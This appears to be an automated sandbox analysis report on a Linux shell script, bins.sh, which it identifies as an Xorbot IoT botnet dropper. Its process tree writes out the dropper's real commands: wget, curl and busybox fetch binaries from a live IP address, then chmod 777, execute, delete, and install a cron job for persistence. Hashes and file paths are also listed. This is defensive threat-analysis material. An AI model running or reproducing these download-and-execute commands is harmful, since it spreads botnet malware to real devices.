Analysis

  • max time kernel
    149s
  • max time network
    138s
  • platform
    debian-9_armhf
  • resource
    debian9-armhf-20240729-en
  • resource tags

    arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
  • submitted
    06/01/2025, 01:00

General

  • Target
    bins.sh
  • Size 10KB
  • Sample250106-bc2b8atjgk
  • SHA256 30367e0773b6cd4050b48c6362f82d9032ee3a01e38e091319797f54c7b4fdf3
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Detects Xorbot 4 IoCs
  • Xorbot

    Xorbot is a linux botnet and trojan targeting IoT devices.

  • Xorbot family
  • File and Directory Permissions Modification 1 TTPs 6 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 6 IoCs
  • Renames itself 1 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Enumerates running processes

    Discovers information about currently running processes on the system

  • Checks CPU configuration 1 TTPs 7 IoCs

    Checks CPU information which indicate if the system is a virtual machine.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 5 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 19 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/bins.sh
    /tmp/bins.sh
    1⤵
      PID:661
      • /bin/rm
        /bin/rm bins.sh
        2⤵
          PID:663
        • /usr/bin/wget
          wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:666
        • /usr/bin/curl
          curl -O http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Checks CPU configuration
          • Reads runtime system information
          • Writes file to tmp directory
          PID:687
        • /bin/busybox
          /bin/busybox wget http://66.63.187.225/bins/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Writes file to tmp directory
          PID:693
        • /bin/chmod
          chmod 777 Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • File and Directory Permissions Modification
          PID:699
        • /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          ./Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
          • Executes dropped EXE
          PID:701
        • /bin/rm
          rm Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
          2⤵
            PID:703
          • /usr/bin/wget
            wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:704
          • /usr/bin/curl
            curl -O http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Checks CPU configuration
            • Reads runtime system information
            • Writes file to tmp directory
            PID:715
          • /bin/busybox
            /bin/busybox wget http://66.63.187.225/bins/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Writes file to tmp directory
            PID:726
          • /bin/chmod
            chmod 777 sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • File and Directory Permissions Modification
            PID:733
          • /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            ./sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
            • Executes dropped EXE
            PID:735
          • /bin/rm
            rm sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
            2⤵
              PID:737
            • /usr/bin/wget
              wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:739
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:751
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              • Writes file to tmp directory
              PID:756
            • /bin/chmod
              chmod 777 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • File and Directory Permissions Modification
              PID:763
            • /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              ./6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • Executes dropped EXE
              • System Network Configuration Discovery
              PID:765
            • /bin/rm
              rm 6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
              2⤵
              • System Network Configuration Discovery
              PID:767
            • /usr/bin/wget
              wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:769
            • /usr/bin/curl
              curl -O http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Checks CPU configuration
              • Reads runtime system information
              • Writes file to tmp directory
              PID:786
            • /bin/busybox
              /bin/busybox wget http://66.63.187.225/bins/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Writes file to tmp directory
              PID:789
            • /bin/chmod
              chmod 777 OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • File and Directory Permissions Modification
              PID:790
            • /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              ./OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
              • Executes dropped EXE
              PID:791
            • /bin/rm
              rm OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
              2⤵
                PID:793
              • /usr/bin/wget
                wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:794
              • /usr/bin/curl
                curl -O http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Checks CPU configuration
                • Reads runtime system information
                • Writes file to tmp directory
                PID:795
              • /bin/busybox
                /bin/busybox wget http://66.63.187.225/bins/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Writes file to tmp directory
                PID:796
              • /bin/chmod
                chmod 777 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • File and Directory Permissions Modification
                PID:797
              • /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                ./6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                • Executes dropped EXE
                PID:798
              • /bin/rm
                rm 6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                2⤵
                  PID:800
                • /usr/bin/wget
                  wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Writes file to tmp directory
                  PID:801
                • /usr/bin/curl
                  curl -O http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Checks CPU configuration
                  • Reads runtime system information
                  • Writes file to tmp directory
                  PID:802
                • /bin/busybox
                  /bin/busybox wget http://66.63.187.225/bins/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Writes file to tmp directory
                  PID:803
                • /bin/chmod
                  chmod 777 IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • File and Directory Permissions Modification
                  PID:804
                • /tmp/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  ./IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                  2⤵
                  • Executes dropped EXE
                  • Renames itself
                  • Reads runtime system information
                  PID:805
                  • /bin/sh
                    sh -c "crontab -l"
                    3⤵
                      PID:807
                      • /usr/bin/crontab
                        crontab -l
                        4⤵
                        • Reads runtime system information
                        PID:808
                    • /bin/sh
                      sh -c "crontab -"
                      3⤵
                        PID:809
                        • /usr/bin/crontab
                          crontab -
                          4⤵
                          • Creates/modifies Cron job
                          • Reads runtime system information
                          PID:810
                    • /bin/rm
                      rm IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                      2⤵
                        PID:812
                      • /usr/bin/wget
                        wget http://66.63.187.225/bins/5i6Mual0qfnfVVLCR5k0SWGGJlEw8krtnv
                        2⤵
                        • Writes file to tmp directory
                        PID:815
                      • /usr/bin/curl
                        curl -O http://66.63.187.225/bins/5i6Mual0qfnfVVLCR5k0SWGGJlEw8krtnv
                        2⤵
                        • Checks CPU configuration
                        • Reads runtime system information
                        PID:816

                    Network

                          MITRE ATT&CK Enterprise v15

                          Replay Monitor

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                          Downloads

                          6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS

                          • Path /tmp/6FPlfIoPiK3CpCmvd0NIPZOpH73bzuXaNS
                          • Size 111KB
                          • SHA256 043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832
                          • MD5 SHA1 SHA512 SSDEEP

                          6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q

                          • Path /tmp/6mbe4QuBHEWzjnwx94o77PQgv1tyH66t3q
                          • Size 99KB
                          • SHA256 68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e
                          • MD5 SHA1 SHA512 SSDEEP

                          IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku

                          • Path /tmp/IdSZHvDtIXXxrV5u7pc2MnRRtSAHG0mJku
                          • Size 177KB
                          • SHA256 5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18
                          • MD5 SHA1 SHA512 SSDEEP

                          Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk

                          • Path /tmp/Mm8RrO2pc1XqzakQd9dJKGtahFg0UOZxGk
                          • Size 151KB
                          • SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
                          • MD5 SHA1 SHA512 SSDEEP

                          OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri

                          • Path /tmp/OtK5otJTXyRXVTsJMAg86MXgh3RTC4jPri
                          • Size 107KB
                          • SHA256 dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47
                          • MD5 SHA1 SHA512 SSDEEP

                          sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu

                          • Path /tmp/sa1pa4l3UTUjVZgNuc7JtovsZ9kZgWwGpu
                          • Size 111KB
                          • SHA256 ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588
                          • MD5 SHA1 SHA512 SSDEEP

                          tmp.N4nnt1

                          • Path /var/spool/cron/crontabs/tmp.N4nnt1
                          • Size 210B
                          • SHA256 ef9422e320bd4f9871d3617044696e5e17def4e975797a2ae798ccae56101ce1
                          • MD5 SHA1 SHA512